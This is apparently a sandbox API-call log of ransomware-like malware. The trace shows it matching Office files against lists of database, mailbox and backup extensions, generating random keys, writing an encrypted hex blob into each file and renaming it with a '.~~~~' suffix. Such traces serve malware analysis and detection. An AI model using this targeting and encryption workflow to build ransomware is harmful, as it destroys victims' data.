	[0134.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0134.792] lstrlenW (lpString=".MDT") returned 4
	[0134.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0134.792] lstrlenW (lpString=".SQB") returned 4
	[0134.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0134.793] lstrlenW (lpString=".vhd") returned 4
	[0134.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0134.793] lstrlenW (lpString=".bac") returned 4
	[0134.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0134.793] lstrlenW (lpString=".mdf") returned 4
	[0134.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0134.794] lstrlenW (lpString=".BAK") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0134.794] lstrlenW (lpString=".BAC") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0134.794] lstrlenW (lpString=".dbs") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0134.794] lstrlenW (lpString=".vhdx") returned 5
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0134.794] lstrlenW (lpString=".NDF") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0134.794] lstrlenW (lpString=".dat") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0134.794] lstrlenW (lpString=".DBS") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0134.794] lstrlenW (lpString=".CKP") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0134.794] lstrlenW (lpString=".edb") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0134.794] lstrlenW (lpString=".PST") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0134.794] lstrlenW (lpString=".dbf") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0134.794] lstrlenW (lpString=".SQL") returned 4
	[0134.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0134.795] lstrlenW (lpString=".pst") returned 4
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0134.795] lstrlenW (lpString=".dbv") returned 4
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0134.795] lstrlenW (lpString=".SDF") returned 4
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0134.795] lstrlenW (lpString=".dtxs") returned 5
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0134.795] lstrlenW (lpString=".db3") returned 4
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0134.795] lstrlenW (lpString=".OST") returned 4
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0134.795] lstrlenW (lpString=".dbx") returned 4
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0134.795] lstrlenW (lpString=".DB3") returned 4
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0134.795] lstrlenW (lpString=".DAT") returned 4
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0134.795] lstrlenW (lpString=".VHDX") returned 5
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0134.795] lstrlenW (lpString=".ndf") returned 4
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0134.795] lstrlenW (lpString=".DB") returned 3
	[0134.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0134.796] lstrlenW (lpString=".sql") returned 4
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0134.796] lstrlenW (lpString=".MYD") returned 4
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0134.796] lstrlenW (lpString=".DBT") returned 4
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0134.796] lstrlenW (lpString=".ACCDB") returned 6
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0134.796] lstrlenW (lpString=".fdb") returned 4
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0134.796] lstrlenW (lpString=".bak") returned 4
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0134.796] lstrlenW (lpString=".myd") returned 4
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0134.796] lstrlenW (lpString=".DTXS") returned 5
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0134.796] lstrlenW (lpString=".ckp") returned 4
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0134.796] lstrlenW (lpString=".dbt") returned 4
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0134.796] lstrlenW (lpString=".db") returned 3
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".db") returned 0x0
	[0134.796] lstrlenW (lpString=".TXT") returned 4
	[0134.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0134.797] lstrlenW (lpString=".MDF") returned 4
	[0134.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0134.797] lstrlenW (lpString=".bdb") returned 4
	[0134.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0134.797] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0134.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.797] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0840) returned 1
	[0134.798] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.798] CryptReleaseContext (hProv=0x3a0840, dwFlags=0x0) returned 1
	[0134.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.799] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25478893823) returned 1
	[0134.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb9ca29d0, dwHighDateTime=0x1d60e1e)) 
	[0134.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cc08
	[0134.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cc08 | out: hHeap=0x300000) returned 1
	[0134.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5248
	[0134.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.800] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0134.800] GetLastError () returned 0x0
	[0134.800] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0134.800] GetLastError () returned 0x0
	[0135.028] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.028] WriteFile (in: hFile=0x140, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x72, lpOverlapped=0x0) returned 1
	[0135.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0135.029] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.029] WriteFile (in: hFile=0x140, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.029] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.029] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.029] CloseHandle (hObject=0x140) returned 1
	[0135.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399ba8
	[0135.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.~~~~")) returned 1
	[0135.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.109] GetLastError () returned 0x0
	[0135.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".scr") returned 0x0
	[0135.109] lstrlenW (lpString=".cmd") returned 4
	[0135.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".cmd") returned 0x0
	[0135.109] lstrlenW (lpString=".dll") returned 4
	[0135.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".dll") returned 0x0
	[0135.109] lstrlenW (lpString=".bat") returned 4
	[0135.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".bat") returned 0x0
	[0135.109] lstrlenW (lpString=".cpl") returned 4
	[0135.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".cpl") returned 0x0
	[0135.109] lstrlenW (lpString=".sys") returned 4
	[0135.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".sys") returned 0x0
	[0135.109] lstrlenW (lpString=".msc") returned 4
	[0135.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".msc") returned 0x0
	[0135.109] lstrlenW (lpString=".com") returned 4
	[0135.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".com") returned 0x0
	[0135.109] lstrlenW (lpString=".lnk") returned 4
	[0135.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".lnk") returned 0x0
	[0135.110] lstrlenW (lpString=".msp") returned 4
	[0135.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".msp") returned 0x0
	[0135.110] lstrlenW (lpString=".pif") returned 4
	[0135.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".pif") returned 0x0
	[0135.110] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0135.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0135.153] lstrlenW (lpString=".sqb") returned 4
	[0135.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".sqb") returned 0x0
	[0135.153] lstrlenW (lpString=".ost") returned 4
	[0135.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".ost") returned 0x0
	[0135.153] lstrlenW (lpString=".txt") returned 4
	[0135.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".txt") returned 0x0
	[0135.153] lstrlenW (lpString=".mdt") returned 4
	[0135.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".mdt") returned 0x0
	[0135.153] lstrlenW (lpString=".BDB") returned 4
	[0135.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".BDB") returned 0x0
	[0135.153] lstrlenW (lpString=".eql") returned 4
	[0135.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".eql") returned 0x0
	[0135.153] lstrlenW (lpString=".DBF") returned 4
	[0135.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DBF") returned 0x0
	[0135.153] lstrlenW (lpString=".EQL") returned 4
	[0135.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".EQL") returned 0x0
	[0135.153] lstrlenW (lpString=".FDB") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".FDB") returned 0x0
	[0135.154] lstrlenW (lpString=".EDB") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".EDB") returned 0x0
	[0135.154] lstrlenW (lpString=".DACPAC") returned 7
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DACPAC") returned 0x0
	[0135.154] lstrlenW (lpString=".VHD") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".VHD") returned 0x0
	[0135.154] lstrlenW (lpString=".DBV") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DBV") returned 0x0
	[0135.154] lstrlenW (lpString=".dacpac") returned 7
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".dacpac") returned 0x0
	[0135.154] lstrlenW (lpString=".sdf") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".sdf") returned 0x0
	[0135.154] lstrlenW (lpString=".accdb") returned 6
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".accdb") returned 0x0
	[0135.154] lstrlenW (lpString=".DBX") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DBX") returned 0x0
	[0135.154] lstrlenW (lpString=".MDT") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".MDT") returned 0x0
	[0135.154] lstrlenW (lpString=".SQB") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".SQB") returned 0x0
	[0135.154] lstrlenW (lpString=".vhd") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".vhd") returned 0x0
	[0135.154] lstrlenW (lpString=".bac") returned 4
	[0135.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".bac") returned 0x0
	[0135.154] lstrlenW (lpString=".mdf") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".mdf") returned 0x0
	[0135.155] lstrlenW (lpString=".BAK") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".BAK") returned 0x0
	[0135.155] lstrlenW (lpString=".BAC") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".BAC") returned 0x0
	[0135.155] lstrlenW (lpString=".dbs") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".dbs") returned 0x0
	[0135.155] lstrlenW (lpString=".vhdx") returned 5
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".vhdx") returned 0x0
	[0135.155] lstrlenW (lpString=".NDF") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".NDF") returned 0x0
	[0135.155] lstrlenW (lpString=".dat") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".dat") returned 0x0
	[0135.155] lstrlenW (lpString=".DBS") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DBS") returned 0x0
	[0135.155] lstrlenW (lpString=".CKP") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".CKP") returned 0x0
	[0135.155] lstrlenW (lpString=".edb") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".edb") returned 0x0
	[0135.155] lstrlenW (lpString=".PST") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".PST") returned 0x0
	[0135.155] lstrlenW (lpString=".dbf") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".dbf") returned 0x0
	[0135.155] lstrlenW (lpString=".SQL") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".SQL") returned 0x0
	[0135.155] lstrlenW (lpString=".pst") returned 4
	[0135.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".pst") returned 0x0
	[0135.156] lstrlenW (lpString=".dbv") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".dbv") returned 0x0
	[0135.156] lstrlenW (lpString=".SDF") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".SDF") returned 0x0
	[0135.156] lstrlenW (lpString=".dtxs") returned 5
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".dtxs") returned 0x0
	[0135.156] lstrlenW (lpString=".db3") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".db3") returned 0x0
	[0135.156] lstrlenW (lpString=".OST") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".OST") returned 0x0
	[0135.156] lstrlenW (lpString=".dbx") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".dbx") returned 0x0
	[0135.156] lstrlenW (lpString=".DB3") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DB3") returned 0x0
	[0135.156] lstrlenW (lpString=".DAT") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DAT") returned 0x0
	[0135.156] lstrlenW (lpString=".VHDX") returned 5
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".VHDX") returned 0x0
	[0135.156] lstrlenW (lpString=".ndf") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".ndf") returned 0x0
	[0135.156] lstrlenW (lpString=".DB") returned 3
